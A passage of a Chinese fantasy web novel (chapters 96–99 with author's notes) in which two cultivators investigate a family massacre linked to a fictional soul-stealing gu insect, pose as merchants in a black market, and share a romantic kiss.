他的目光先是落在燕黎舟身上,微微颔首致意,看到他头顶的狐耳和身后的尾巴时,轻轻弯了下唇角,但很快又收回去。 薛铜双手合十,声音平和。 “二位施主,远道而来,寻贫僧何事?” 燕黎舟大步上前,依旧是那副混不吝的做派,连带着尾巴都似乎更精神地翘起了几分。 他开门见山,语气却并不令人反感,双手也合十行礼:“薛铜大师,打扰了。” 洛不觉:“我们为木府灭门案而来,此事恐怕牵扯到一些陈年旧事,与你父亲了尘宗主,以及……南疆那边有些关联。不知大师可否为我们解惑?” 薛铜静静地听着,脸上无喜无悲,直到燕黎舟提到“南疆”二字时,他拨动念珠的手指才顿了一瞬。 他抬眼,目光地看向燕黎舟,又扫一眼洛不觉。 缓缓道:“尘缘已断,旧事如烟。”—— 作者有话说:争取在15号之前完结![愤怒][愤怒][愤怒] (我还欠着6号的一章,浅浅心虚一下,周末快乐!) 第96章 燕黎舟身后的尾巴尖轻轻晃了晃, 他上前一步。 “大师,若旧事真能如烟散去,木府上下几十口人又怎会死得不明不白?我们只是不想让更多无辜之人因旧事而丧命。” 他说的正义诚恳, 实际上这些话也是在洛不觉和清明大师聊时他随意翻的一本书上的。 也是没想到这就用上了。 只是用在这里感觉怪怪的, 怎么突然升华了? 但燕黎舟不管那个, 书上作者这么写的, 放在这里装一下, 别人都有一大兜子理由,他没有显不出来他大义。 薛铜沉默了片刻, 低头看着手中的念珠。 “父亲……” 半响后他终于再次开口, 声音带着一丝的沙哑。 “他在母亲死后一直在看母亲留下的东西。母亲来自南疆,擅蛊。” “但我害怕虫子,所以鲜少接触母亲。” 他抬起头:“木府之事, 贫僧虽不知全貌,但听施主形容,猜测应是胜心虫。” “此蛊歹毒,能侵蚀心智, 放大欲望, 最重要的是它可以剥离生魂, 作为某种邪阵的养料。” “与木府之人的情况吻合。” 胜心虫?燕黎舟蹙眉。 “所以木事蓝和南疆交易的就是这种虫子了。”燕黎舟猜测。 薛铜缓缓举起手阿弥陀佛。 “蛊虫放大了木事蓝内心深处对长生的执念,让人心甘情愿地踏上了那条死路。” 他看向燕黎舟和洛不觉:“胜心虫并非好物,给木事蓝蛊虫并且知晓如何将其与那邪阵结合之人。” “可能就是真正的祸源。” 薛铜叹了一声,不再多言。 了尘的走火入魔导致倒影浮屠的覆灭, 很可能也与南疆的禁忌秘术有关。 “大师可知,如今谁最有可能持有并使用胜心蛊?”洛不觉沉声问道。 薛铜沉吟片刻,缓缓道:“母亲当年叛出部落,带走了部分传承。” “据她偶尔提及, 她们部落中有一支脉,世代钻研各种阴邪蛊术,被称为影巫。若说还有谁精通此道,并可能流落在外……他们嫌疑最大。” 影巫! 燕黎舟与洛不觉对视一眼,均看到了彼此眼中的凝重。 “多谢大师。”洛不觉执礼。 薛铜双手合十,微微欠身。 “因果循环,报应不爽。望二位施主谨慎行事,莫要让他人再次步了后尘。” 他说完,便重新提起水桶,继续照料他的菜苗,显然送客之意明显。 得到了想知道的信息,燕黎舟和洛不觉不再打扰,转身离开。 回去的路上,燕黎舟显得有些沉默,那条火红的大尾巴也无精打采地垂在身后,偶尔扫过地面。 他在消化刚才得到的信息。 洛不觉走在他身侧,目光再次落在那条尾巴上。 两人一前一后,沉默地回到了清明给他们安排的房间。 一进门,燕黎舟就一屁股坐在椅子上,给自己倒了杯凉茶灌下去。 “影巫……” 他噘着嘴,用手指敲着桌面。 “这线索指向南疆,可就有点麻烦了。南疆地域辽阔,部落林立,排外得很,要找到他们……啧。” 洛不觉在他对面坐下,伸手摸上燕黎舟的茶杯,后者以为对方是要抢他茶,挣了一下。 没挣开。 ……给你吧给你吧! 但洛不觉也只是将茶水加热了后推给燕黎舟。 “并非全无线索。”他道。 “木事蓝能联系到影巫,必然有中间人。找到这个中间人,顺藤摸瓜。” “乌索!” 燕黎舟眼睛一亮。 “那个南疆行商!黑金之前就查到他与木事蓝接触过,之后便消失了。” “找到他,肯定能能找到影巫的踪迹!” “嗯。”洛不觉颔首。 燕黎舟立刻站起身,尾巴也因为主人的兴奋而不自觉地竖了起来,晃动的十分快。 “我这就让黑金去查!就算把风京掘地三尺,也要把那个乌索挖出来!” 他说着就要往外走,想去用特殊方法联系黑金。 然而,他刚迈出一步,就感觉尾巴被人从后面轻轻拽了一下。 燕黎舟:“!!!” 他猛地回头,怒视着罪魁祸首洛不觉:“你干嘛?!” 洛不觉面无表情地收回手,淡淡道:“尾巴脏了。” 燕黎舟低头看了看自己的尾巴,又抬头看了看洛不觉那张一本正经的脸。 燕黎舟:“……是吗。” 洛不觉继续道。 “你此刻形态特殊,太引人注目,不宜妄动。” “待在白洞天为好。” 燕黎舟一噎,看了看自己晃来晃去的尾巴和头顶的耳朵,不得不承认洛不觉说得有道理。 他顶着这副模样跑出去联系黑金,燕黎舟想了一下那个场景。 “……” 有什么关系?他本来就是一直妖怪,还是草妖。 说实话燕黎舟很喜欢这对耳朵和尾巴,比他的叶子好看多了。 不过燕黎舟还是坐回椅子上,尾巴有些不高兴的垂下来。 “那你说怎么办?”他没好气地问。 “不赶紧的等人跑了?” 洛不觉把燕黎舟的尾巴接到掌心,防止它掉在地上真的脏了。 洛不觉开口道:“不必你亲自去。” “嗯?” 燕黎舟狐耳一抖,疑惑地看向他:“你有办法?” 洛不觉从袖中取出一枚样式古朴的玉简,指尖灵光微闪,在玉简上快速刻画了几个符文,随后将其捏碎。 玉简的粉末瞬间消散在空气中。 洛不觉:“乌索若真是影巫在外活动的行动傀儡,行事必然谨慎。木府事发,他定然早已远离风京,常规探查恐难觅其踪。” 燕黎舟蹙眉,手指无意识地卷着自己一绺垂下的头发,继续听洛不觉说话。 洛不觉:“南疆与中土消息往来,自有其特殊渠道。黑市、商队,又或是某些宗门的暗桩。” 燕黎舟继续听洛不觉说话。 洛不觉:“放出风声,引他主动现身。” 燕黎舟摩挲着自己下巴,故作高深。 “我们假装是某个对南疆秘术或者是对胜心虫感兴趣的大买家,然后通过黑市放出消息!” “乌索或者影巫的人如果听到风声,说不定会主动联系我们!” 他说着,又有些犯难:“不过,这需要门路和足够的财力来取信于人……” 燕黎舟摸了摸自己的储物袋,钱他是不缺,但可靠的门路…… 洛不觉淡然道:“天上白云京在外,有收集情报的据点。” “我已让人去查,估计不久就能传开消息。” 燕黎舟闻言,有些诧异地看了洛不觉一眼。 他没想到洛不觉会主动动用天上白云京宗门的力量。 不过转念一想,木府惨案牵扯甚广,疑似与禁忌邪术有关,天上白云京插手也在情理之中。 “那太好啦!” 燕黎舟放松了,拉长尾音,轻笑道。 “那就等你的消息,总比我的人再去查方便。” 燕黎舟端起那杯被洛不觉加热过的茶,吹了吹气,小口喝了起来。 房间里暂时安静下来,洛不觉的视线,再次不受控制地落在那条十分具有活力的尾巴上。 燕黎舟喝着茶,脑子里却没闲着。 他忽然想到一个问题,放下茶杯,看向洛不觉。 “对了,如果找到乌索,我们是要直接抓了他,还是暗中盯着,放长线钓大鱼?” 直接抓人,可能打草惊蛇,让背后的影巫隐藏得更深。 暗中监视,又可能耗费时间长,且存在跟丢和暴露的风险,已经到了现在,万一错方向了,耗费太多时间在一个无用的人身上…… 啧! 燕黎舟整张脸都皱在一起。 洛不觉:“若他准备逃离,或与影巫接触,则擒之。若他蛰伏不动,便暗中监视,找出其上线。” 燕黎舟想了一下,这样见机行事也好。 他忍不住调侃:“你们这些名门正派办事,虽然规矩多了点,但确实考虑得更周全。” 洛不觉抬眸看他:“你似乎对宗门规矩颇有微词?” 燕黎舟心里咯噔一下,他立刻打了个哈哈,尾巴也不动了。 “哪有!我就是随口一说!” “像我这种做生意的,最喜欢跟讲规矩的人打交道了,省心!” 他试图用夸张的语气掩饰过去。 洛不觉深深看了他一眼,没有戳穿,只是淡淡道:“嗯。” 燕黎舟被他看得有点心虚,连忙转移话题,指着自己的耳朵和尾巴问。 “喂,洛不觉,你说这玩意儿到底什么时候能变回去?不会真要等满一天吧?” 他边说边伸手摸向自己脑袋上的耳朵,摆弄着前后折了两下,悄悄卖萌。 他虽然不讨厌,但顶着这个形态总归有些不方便,尤其是在需要隐藏身份的时候。 洛不觉的目光随着他的手指移到那对微微抖动的狐耳上,眼神微暗。 “白洞天规矩如此。” “好吧……” 燕黎舟地应了一声,虽是这样说,但语气里也听不出什么遗憾。 摸着耳朵燕黎舟忽然起了玩心,故意让耳朵快速抖动了几下,然后看向洛不觉。 “你看,还挺好玩的。” 燕黎舟手下那对耳朵灵活地颤动着。 洛不觉的喉结几不可察地滚动了一下,移开视线,声音沉了几分。 “……嗯。” 燕黎舟没注意到他的异样,自顾自地玩了一会儿耳朵,又开始摆弄自己的尾巴,将其卷起来又松开,玩得不亦乐乎。 一会儿把尾巴弯成个问号,一会儿又试图用尾巴尖去挠桌子。 毛茸茸的红色在洛不觉眼前晃来晃去,像一团跳跃的火焰。 就在燕黎舟试图把尾巴尖塞进自己嘴里时,洛不觉端起自己面前那杯早已凉透的茶,一饮而尽。 试图压下喉间的干涩,却发现效果甚微。 视线根本无法从燕黎舟身上移开。 燕黎舟也玩累了,他将尾巴捞到身前,下巴搁在蓬松的尾毛上,眨着眼睛看向洛不觉,语气带着点抱怨,尾音却不自觉地上扬,像是在撒娇。 “有点无聊啊,洛不觉。就这样干等着你的消息吗?” 他说话时,因为下巴抵着尾巴,脸颊的软肉被微微挤着,配上那对无辜眨动的大眼睛和头顶微微歪向一侧的狐耳—— 作者有话说:噜啦啦啦啦啦啦噜啦啦啦啦啦 [狗头][狗头][星星眼][星星眼][撒花][撒花] 第97章 燕黎舟趴在自己尾巴上, 像只慵懒又黏人的大狐狸。 “你想做什么?” 洛不觉强迫自己将视线从燕黎舟被红色尾巴毛衬得白皙的脸颊上移开,落在对方随意搭在桌面的手指上。 “不知道啊……” 燕黎舟拖长了调子,下巴在尾巴毛里蹭了蹭, 柔软的毛发被他弄得有些凌乱。 “要不然你给我讲讲你们天上白云京近百年有没有发生的事?或者……” 他眼珠一转。 “你给我变个戏法看看?” 燕黎舟这纯粹是无聊至极随口一提, 带着点逗弄的意思。 然而, 洛不觉沉默地看了他片刻, 就在燕黎舟以为他会无视或者拒绝时, 他却缓缓抬起了手。 指尖微动,一缕极淡的水蓝色灵气在他指尖汇聚。 那灵光跳跃着, 缓缓凝聚成一只振翅欲飞的冰蝶。 翅膀上泛着细碎的光。 冰蝶颤巍巍地飞起, 轻轻落在了燕黎舟粉色的唇|瓣上。 一丝冰凉的触感传来,带着洛不觉身上特有的檀香气息。 燕黎舟猛地睁大了眼睛,那冰蝶只停留了一瞬, 便化作点点光芒,消散在空气中。 只留下|唇上有些凉的痒意。 “……还真变啊?” 燕黎舟愣愣地说,下意识地伸出舌尖舔了舔刚才被冰蝶碰过的地方。 “有点凉……唔!” 他话音未落,剩下的尾音便被骤然封住。 洛不觉突然倾身过来, 一手撑在燕黎舟身侧的桌沿, 另一手轻轻掐住他的脖子, 防止这人后退。 微凉的唇|瓣覆上了燕黎舟的唇,一时分不清谁的比较凉,谁的更温。 燕黎舟猛地睁大了眼睛,脑中一片空白。 与之前那次在客栈时候的那几次亲吻不同, 这个吻带着一种压抑已久的灼热侵略感。 在燕黎舟眼里,洛不觉一直都是温柔的,一直都是。 这应该是第一次洛不觉热烈起来,燕黎舟觉得自己的嘴巴被对方磨的很麻, 还有一丝淡淡的血腥味道。 燕黎舟舔了下自己的唇。 没有伤口。 洛不觉的舌尖也因此轻易地撬开了燕黎舟的齿关,深|入其中,纠缠攫取。 燕黎舟也没有很抗拒。 对方清冷的檀香气息此刻变得无比浓烈,霸道地侵占了燕黎舟的所有感官。 “唔……” 燕黎舟发出一声模糊的呜咽,洛不觉的掌心擦着他的喉咙,一上一下磨蹭着。 暧昧着分不开。 洛不觉将燕黎舟整个抱到自己身上,使对方跨坐在自己腿上,鼻尖摩蹭在一起。 一只手扶着燕黎舟的腰,另一只手将燕黎舟两只手束缚住,他掌心的温度烫得燕黎舟指尖发麻。 那对火红的狐耳敏感地绷直、颤|抖,身后的尾巴也无措的轻轻卷上洛不觉握住他手的手腕。 洛不觉的吻起初带着急切的掠夺,渐渐变得缠绵起来。 他细细碾磨着那柔软的下|唇,吮吸舔舐,仿佛在品尝什么绝世珍馐。 托着腰的手也缓缓摩挲着那处,世上所有词汇都形容不出洛不觉此刻的感受。 燕黎舟也相同。 他只觉得氧气都要被抽空了,大脑晕的厉害,浑身也软得厉害,只能依靠着洛不觉支撑。 抵在对方胸膛上的手早就失了力气,虚虚地抓着那里的衣料,指尖蜷缩。 燕黎舟闭上眼睛,长睫剧烈的抖着,任由那陌生汹涌的浪潮将自己淹没。 不知过了多久,在燕黎舟觉得自己快要窒息时,洛不觉才稍稍退开。 两人的额头相抵,呼吸交织,都在缓平自己的心情。 燕黎舟张着嘴小口喘息,眼尾泛红,唇|瓣被蹂|躏得殷红水润。 他眼神迷蒙地看着洛不觉,那双眼睛里多的是对方看不懂的情绪。 “你……” 他刚发出一个气音,洛不觉的拇指便抚上了他湿润红肿的下|唇,轻轻摩挲。 “还无聊吗?” 洛不觉的声音低哑得不成样子,带着事后的慵懒和一丝未尽的欲|望。 燕黎舟脸轰地一下全红了,连脖颈都染上了绯色。 他想反驳,想骂人,但看着洛不觉的眼神,感受到唇上那轻柔却存在感极强的触碰,所有的话就都卡在了喉咙里。 “对不起。” 燕黎舟没由来道。 洛不觉的拇指依旧停留在他唇上,感受着那柔软的触感和略高的温度。 那抹火焰并未熄灭,反而因燕黎舟这反应烧得更旺了些。 他低低地“嗯”了一声,没有松开手,就着这个极近的距离,再次低头,在那微微红肿的唇上轻轻啄吻了一下。 这是一个短暂而温柔的吻,与方才的激烈掠夺截然不同,却更让燕黎舟心跳失序。 “你……” 燕黎舟被他这接连的亲密举动弄得手足无措,身体还软着,被他圈在怀里,坐在他腿上,这个姿势太过暧昧,让他浑身都不自在。 他想问洛不觉是什么想法,挣扎了一下,想从洛不觉身上下来。 然而,他刚一动,揽在他腰后的手臂就收得更紧,将燕黎舟牢牢固定住。 “别动。” 洛不觉的声音贴着他的耳朵响起。 “再坐一会儿吧。” 燕黎舟尾巴卷紧了洛不觉的手腕,毛茸茸的触感主动缠绕着对方微凉的皮肤。 “喏,知道你喜欢。” 洛不觉看着怀里这人这副羞窘得几乎要冒烟,却又乖乖待在自己怀里的模样,心底某个角落柔软得一塌糊涂。 他没有再进一步动作,只是静静地抱着他,下颌轻轻抵在燕黎舟的发顶。 两人就这样相拥着,谁也没有再说话,只能听见彼此逐渐平复的呼吸声。 过了许久,燕黎舟才闷闷地开口,声音还带着点事后的软糯。 “……消息什么时候能来?” 燕黎舟抿了抿还有些麻痛的唇,整个人埋在洛不觉的肩窝,心里乱七八糟的。 洛不觉:“早就来了。” 燕黎舟猛地抬起头,差点撞到洛不觉。”什么时候来的?” “刚刚亲的时候的时候。” 洛不觉平静地陈述。 他空着的那只手抬手,一枚与之前相似的玉简流光在他掌心凝聚。 玉简再次被捏碎,化作一行细小的字。 【乌索踪迹现于风京黑市。已加派人手严密监视,暂未惊动。】 “黑市?” 燕黎舟眼睛一亮,尾巴不自觉地又快速摆动起来。 “看来他确实还在风京!我们什么时候动身回去?” 燕黎舟跃跃欲试,恨不得立刻飞回风京逮人,尾尖轻圈着洛不觉的手腕。 洛不觉反手轻揉着燕黎舟的尾巴:“黑市龙蛇混杂,耳目众多。” “我们需改头换面,潜入其中,弄清乌索与影巫的联系方式及下一步计划。” “伪装潜入?” 燕黎舟来了兴趣,狐耳跟着竖起。 “这个我在行!扮成什么?商人还是什么?” 洛不觉:“商人吧,最为稳妥。黑市之中,利益往来最为常见,不易引人怀疑。” 他顿了顿,继续补充:“慕名求购稀有蛊虫来黑市凑运气。” 燕黎舟仔细一想,合情合理。 “行,就按你说的办!”燕黎舟一拍大|腿,拍在了洛不觉腿上。 “那我们什么时候动身?我这耳朵尾巴……” 他摸了摸自己依旧毛茸茸的头顶,有些苦恼。 尾巴藏不掉,暴露在普通人眼前,不会把人吓坏吧。 “白洞天一日之期将满,待你恢复,我们动身。” “嗯。” 燕黎舟的狐耳和尾巴果然在满一日之期后,悄然消失,恢复了原貌。 他摸了摸自己脑袋,竟还有点莫名的怀念那毛茸茸的触感。 一切准备就绪。 次日,两人便离开白洞天,再次返回风京。 燕黎舟换上了一身色彩鲜艳的锦袍,头上缠着同色头巾,画了个妆刻意将眉骨描深,眼线拉长,显得五官更加立体深邃。 他甚至还给自己贴了两撇小胡子。 洛不觉则是一身深色劲装,外罩一件带有兜帽的斗篷,遮住了大半面容。 两人带着几口装着香料和宝石的箱子,住进了风京西市的客栈。 燕黎舟出手阔绰,打赏小二银钱毫不手软,很快就在客栈里混了个脸熟。 安顿下来后,燕黎舟便开始有意无意地在客栈大堂,茶肆等地方,与人攀谈,话题总是围绕着南疆的蛊术。 唉声叹气地表示自己急需一种血蝎的稀有蛊材,愿意出高价收购,可惜遍寻不着。 不过两日,便有一个尖嘴猴腮人找上门来,声称有门路可以联系到一位手里有大货的南疆商人。 但需阿巴先生亲自前往黑市深处的鬼哭巷详谈。 阿巴,就是燕黎舟的化名游子安的化名。 夜,黑市。 错综复杂的巷道里,光线昏暗,空气里弥漫着潮湿和血腥气。 两旁是些不见招牌的铺面,只是门口会悬挂着一些标牌,暗示着内里经营的勾当。 官府的人也权当不知道。 修仙之外,白天属于官方,夜晚可不是。 燕黎舟摇着一把夸张的孔雀羽毛扇大摇大摆地走在前面,洛不觉代替了黑金,影子般紧跟其后。 在中间人的引领下,他们七拐八绕,最终停在一间商铺前。 简简单单没有装饰,和旁边的看上去没什么区别。 只是门口挂着一串风干的兽皮。 “乌索大师就在里面。” 中间人压低声音说完,便迅速消失在来时的黑暗中。 燕黎舟与洛不觉交换了一个眼神,推开那扇木门走了进去。 屋内光线十分昏暗,整个屋子也就只点着一盏昏黄的油灯。 一个穿着南疆特色服饰身形干瘦的人,正坐在一张破旧的木桌后,慢条斯理地擦拭着一个陶罐。 听到动静,他缓缓抬起头,露出一双又细又小的眼睛—— 作者有话说:单纯无辜三好学生 后面估计没有多少了,找个时间准备准备盐粒子掉马啦[星星眼][星星眼][星星眼] 第98章 “阁下就是阿巴先生?” 乌索的声音沙哑, 目光在燕黎舟身上扫过,又在他身后的洛不觉身上停留了一瞬。 “正是在下!” 燕黎舟自来熟地走上前,在乌索对面的椅子上坐下, 扇子摇得呼呼响。 他先是嫌弃的打量了一下整个屋子, 直接甩出快金锭到桌子上。 “多买点油灯, 这么暗, 还有这都什么味啊。” 燕黎舟扇子扇的更快了些。 “听闻大师手中有好东西, 我可是慕名而来啊!” 他扬了扬自己下巴,进入正题。 洛不觉默不作声地站到燕黎舟身侧后方, 浑身散发着生人勿近的气息。 乌索放下陶罐, 眼睛盯着燕黎舟,轻笑一声。 “阿巴先生想要什么?” 燕黎舟身体前倾,压低声音, 脸上漏出一抹阴险的笑。 “血蝎!大师,价格,不是问题!” 乌索眼中闪过精光,他放下手里擦拭着的关注, 慢悠悠地道。 “血蝎……那可是南疆圣物, 极难获取。” “所以才要求大师您嘛!” 燕黎舟奉承道, 从怀里掏出一小袋沉甸甸的金币,砰地一声放在桌上。 “这是定金!只要货好,后续还有重谢!” 金钱碰撞的声音悦耳,乌索原本就看不见的眼睛舒服的眯了眯。 他的目光在那钱袋子上停留片刻, 干瘦的脸上露出一丝意味不明的笑容。 “阿巴先生果然爽快。不过……血蝎非同小可,我需要时间准备。” “需要多久?”燕黎舟急切地问。 “三日。” 乌索伸出三根手指,然后食指向下指了指他们所在的地方。 “三日后,此时此地, 交易。” “好!就三日!” 燕黎舟一拍桌子,显得十分兴奋。 “那我们就说定了!” 目的达到,燕黎舟与乌索寒暄了几句便起身告辞。 离开鬼哭巷,直到走出黑市范围,回到熙攘的街道上,燕黎舟才长长舒了口气。 “这老狐狸。” 燕黎舟低声道,恢复了原本的声线。 “嗯。”洛不觉依旧没有摘下兜帽。 “他并未完全相信我们。这三日,他必会调查我们的底细。” “查呗。” 燕黎舟说的爽快,可不过半秒他就扭头,看向洛不觉。 “不能被发现了吧。” …… 三日之期,转瞬即至。 当晚,鬼哭巷屋。 油灯的光芒将乌索干瘦的身影拉得忽长忽短。 他看着准时赴约的阿巴先生和那个沉默的护卫,他取出一个密封的玉盒,缓缓打开。 盒内红绸衬底上,有一只陶罐,打开,里面趴着一只通体血红的蝎子。 “货已备好。”乌索沙哑道。 燕黎舟伸手去拿,检查后轻笑一声:“好!成色极品!大师果然守信!” 身后洛不觉适时拿出准备好的金财交给乌索。 燕黎舟把玩着装着血蝎的罐子,视线缓慢扫过乌索。 “大师果然有点门路手段。” “不知大师能否弄到传说中那种能夺人生魂的奇蛊……” 他刻意压低声音,指尖在桌面上轻轻敲了三下,一字一顿道:“胜、心、虫。” “大师可有门路?” 胜心虫三字一出,乌索隔着张桌子缓缓倾身,甚至放下了手里的金锭。 他看向燕黎舟,带着审视与警惕。 “阿巴先生从何处听闻此物?” 燕黎舟面上故作神秘地笑了笑,凑近些低声道。 “大师,我们行走行商,消息总比旁人灵通些。听说南疆有些部落,掌握着些……不得了的东西。” 燕黎舟轻笑:“不瞒大师,我有个对头,生意上处处与我作对,若能神不知鬼不觉地让他……” 他做了个昏聩的手势,眼中闪过一丝狠厉,挑眉示意。 “价钱,随您开!” 乌索盯着他看了半晌,似乎在判断他话语的真伪。 片刻后,他缓缓摇头,语气带着警告。 “阿巴先生,有些东西,碰不得。胜心虫乃禁忌之物,反噬极强,稍有不慎便会引火烧身。” “老夫劝你,还是安心做你的香料生意为好。” 燕黎舟表情很直接,撇了撇嘴,将血蝎收起来交给身后的洛不觉。 “那我走了,用不着你说教我。” “这世上还没有我阿巴用钱买不到的东西!既然大师这里没有,我另寻门路便是!” 他作势欲走,动作干脆利落,毫不拖泥带水。 “阿巴先生留步。” 乌索忽然开口,声音带上了一丝急切。 燕黎舟停下脚步,斜眼看他,轻嗤,没好气道。 “怎么?大师改主意了?” 乌索搓了搓干瘦的手指,脸上堆起一个略显僵硬的笑容。 “阿巴先生误会了。并非老夫不愿赚钱,而是这胜心虫……实在太过罕见,早已绝迹多年,老夫手中确实没有。” 他观察着燕黎舟的神色,见对方眉头紧皱,一脸不信,又压低声音补充道。 “不过……老夫倒是知道一些别的好东西,效果虽不及胜心虫立竿见影,但于无声无息间让人缠绵病榻。阿巴先生若有兴趣……” “没兴趣!” 燕黎舟不耐烦地打断他,语气斩钉截铁:“我就要胜心虫!别的玩意儿没听过,谁知道会不会出岔子?我就要那种能快准狠,让他彻底翻不了身的!” 他盯着乌索,眼睛眯了眯。 “大师,你再仔细想想,或者……你认识的人里,有没有谁可能有门路?钱,真的不是问题!” 燕黎舟又重重强调了一遍。 乌索有些无奈,他苦笑着摇头。 “阿巴先生,老夫若有门路,岂会放着大把金子不赚?实在是……爱莫能助。” “先生朝别处看看,这胜心虫都是早就灭绝了的东西,谁手头上还有啊。”乌索摊手道。 他哼哼两声,语气笃定:“就算有,谁不守着猫着,哪里可能拿出来卖。” 燕黎舟视线在整个屋子扫视一圈。 屋内陈设简陋,除了乌索身前的木桌和几个堆放杂物的架子,几乎空无一物。 架子上零星摆着些瓶瓶罐罐,里面浸泡着形态各异的虫蛇尸体,那股怪味估计就是他们发出来的。 墙壁上挂着几张褪色的兽皮和一些叫不出名字的奇怪东西。 桌上仅有的一盏油灯提供着昏黄的光晕,将乌索干瘦的身影映照得如同鬼魅。 燕黎舟往前压了下身子,声音也跟着放低,不过脸上表情依旧不信。 “大师,您口中这胜心虫这么稀有……可我前阵子怎么听说,风京城里那个大户木家,全家死得蹊跷,精血魂魄都没了,传得神乎其神的。” “不就是那胜心虫所为?” 乌索闻言,脸上先是闪过一丝茫然,随即皱起眉头。 “木家?风京城里是非多,谁知道他们得罪了哪路神仙。老夫久居黑市,对外面那些风言风语不甚清楚。” “不过那你这么一说还真像是胜心虫所为,但实在是不该啊……” 他顿了顿,似乎是想通了,语气更加笃定,甚至带着点不屑。 “估计不知道谁用的什么邪法子,怎么可能有人用胜心虫那么珍贵的虫子啊。” 燕黎舟一顿,只听那乌索还在继续道。 “胜心虫何其珍贵?用在一群凡人商贾身上,暴殄天物。不可能,绝对不可能!” 他的反应完全在燕黎舟和洛不觉的意料之外。 乌索这幅模样似乎真的不知道木府灭门案与胜心虫有关,而且从他的语气判断,他压根就没有胜心虫。 燕黎舟:“你是乌索吗?” 乌索一听,拍桌子:“当然!黑市上谁有那么大胆子敢冒充我啊!” 燕黎舟:“那你和木府没有交易过吗?” 乌索轻哼一声:“南疆的东西都邪乎,虽然我买卖,但是不得不承认,在这块儿,谁都不愿意沾染上,就怕出事。” 乌索瞥了燕黎舟一眼。 “你俩还是为数不多要大货的客人。” 言下之意显而易见。 燕黎舟与身后的洛不觉快速交换了一个眼神。 “除了我乌索,谁手上还有那么多南疆的东西。”乌索还在絮絮叨叨。 燕黎舟适时露出失望的神色。 “那看来是我想错了。” 乌索还在那里兀自嘀咕:“谁会费这么大劲去对付一个商贾之家……” 燕黎舟见再也问不出什么,便起身告辞:“既然如此,那就不打扰大师了。这血蝎,我拿走了。” 乌索摆了摆手,表示送客。 离开鬼哭巷屋,燕黎舟神色立刻变得凝重。 黑金的消息不会有错。 既然查出来是乌索在背后与木家进行南疆货物交易,木家又是被胜心虫所杀。 可是这个乌索又说自己没和木府交易过。 与木事蓝接触的那个乌索,恐怕是假的,有人冒充了乌索的身份与木家交易! “有人冒充乌索。” 燕黎舟对洛不觉说。 “真正的乌索对此事一无所知,那个与木事蓝接触的“乌索”,估计是是影巫派来的冒牌货。” 洛不觉微微颔首:“幕后之人心思缜密。利用乌索在南疆行商的身份做掩护,即使事情败露,追查到的也只是这个无足轻重的替身。” “那我们盯着的这个乌索,岂不是没用了?”燕黎舟蹙眉。 “洛不觉!” 突然身后有一道声音喊。 两人回头,来人一身银饰,紫色的衣服银白的铃铛作响,眉眼不笑但含情。 肩膀上坐着一只绿色的蜘蛛,见到燕黎舟目光看过来迅速爬到蛊娘子头上当个头饰。 燕黎舟所有的一切都想起来了,此时看到蛊娘子,不免有些怔愣。 他下意识看向洛不觉,后者同样也在看着他。 完了,燕黎舟现在可是游子安,不能被发现了吧。 “听说你们在查南疆的事儿,还牵扯到什么胜心虫的。” 蛊娘子走过来,带着南疆口音的官话。 “我收到消息就赶紧过来了。” 燕黎舟没说话,隐藏在洛不觉身后,蛊娘子侧头看了一眼—— 作者有话说:预计还有个四五六章[闭嘴] 这个月肯定能完结掉,哈哈哈哈哈,上一章也放出来了[撒花][撒花][撒花] 最近有刷到那个“辞家千里又千里,务必争气再争气”,完美适配我们盐粒子[爆哭] 够了,我心疼你盐粒子 翻了前面几章,每一个剧情痛苦卡文的场景都好像历历在目,现在居然就要完结了[爆哭][烟花] 第99章 蛊娘子那双含情目微微眯起, 带着几分审视,目光在燕黎舟这张平平无奇的脸上转了几圈,又看向面无表情的洛不觉。 洛不觉看了一眼躲在他身后的燕黎舟, 介绍道:“我们已结为道侣。” 蛊娘子听到后眉头忍不住蹙紧, 又看了看燕黎舟, 见两人都没有再说话的意思, 才轻哼一声。 “哦。”她道。 燕黎舟干笑两声, 不敢多说一个字,生怕言多必失。 蛊娘子却也没再追问, 仿佛刚才只是随口一提。 她将目光转向洛不觉, 神色正经了些:“说正事。你们查的胜心虫和木家的事,我确实知道些。” 她偏头示意了一下刚刚燕黎舟两人出来的方向。 “那老家伙,就是个挡箭牌。” 蛊娘子:“你们现在都查到什么了?” 洛不觉看了眼周围:“回客栈再说吧。” 三人回到燕黎舟和洛不觉下榻的客栈房间, 关上门,布下隔音禁制,气氛才稍微放松了些。 燕黎舟刚坐下,洛不觉就给他倒了杯茶。 蛊娘子顿了一下, 在燕黎舟另一边坐下。 听完他们说完了情况后, 蛊娘子把自己肩膀上的蜘蛛拿下来, 绿色大大一只乖巧的站在手心,八只眼睛定定的盯着燕黎舟。 燕黎舟:“……?” 蛊娘子伸手盖住蜘蛛的脑袋,转头问燕黎舟:“害怕吗?” 燕黎舟将自己的茶水咽下去:“还好。” 蛊娘子继续道:“影巫,我知道。” “影巫一脉, 自古钻研禁术,行事愈发偏激阴毒。他们追求的早已不是蛊术的奥秘,而是自我利益,不择手段的长生。” “胜心虫也被他们用来剥离生魂, 以生灵精血滋养邪阵。” 蛊娘子指尖点了点小青,眼神抬起看向燕黎舟。 “我的主人就是为了个男人……” 燕黎舟没说话,这事他当然知道,详情请看原著第三十二章 。 巴拉巴拉听完蛊娘子说的后,燕黎舟茶也抿完了两杯了。 “我的真身是个蛊罐,养蛊的,小青就是我用影巫的法子养出来的,对影巫的一些线索应该能有帮助。” 蛊娘子:“但我在秘境里关了太久,外面的具体什么情况我也没去了解。” “了尘娶的那个姑娘我也认识。” 这话一出,原本听的都靠在洛不觉身上的燕黎舟猛的坐直身体。 蛊娘子:“边念文,影巫一脉的圣女。” “她和我主人是至交。” 她顿了顿,眼中闪过一丝复杂的情绪,似是惋惜,又似是嘲讽。 “了尘那个和尚,表面上一心向佛,实则对生死之道和长生秘术有着异乎寻常的执着。” “边念文那时年轻,一头栽了进去。她为了成全了尘探究长生的心愿,不惜叛出部落,盗走了包括胜心虫母虫在内的诸多核心传承。” “胜心虫的母虫也是那个时候带走的。” 蛊娘子的语气带上了几分冷意。 “可笑那了尘,得了典籍和母虫后,便一头扎进了所谓的长生中。” 燕黎舟不由得想到之前在倒影浮屠里看到的那副场景。 “边念文为了帮他,不惜动用禁术,消耗自身心血精元去培育胜心虫,辅助他进行那些危险的蛊术……结果呢?” 她冷哼一声。 “长生没求到,边念文自己却先心力耗尽,油尽灯枯,没几年就香消玉殒了。” “我家主人知道的时候已经身处秘境里无法出去。” “了尘估计就是因为研究蛊术才走火入魔,酿成了倒影浮屠的惨剧。” 燕黎舟听得眉头紧锁:“所以……” 他梳理着线索。 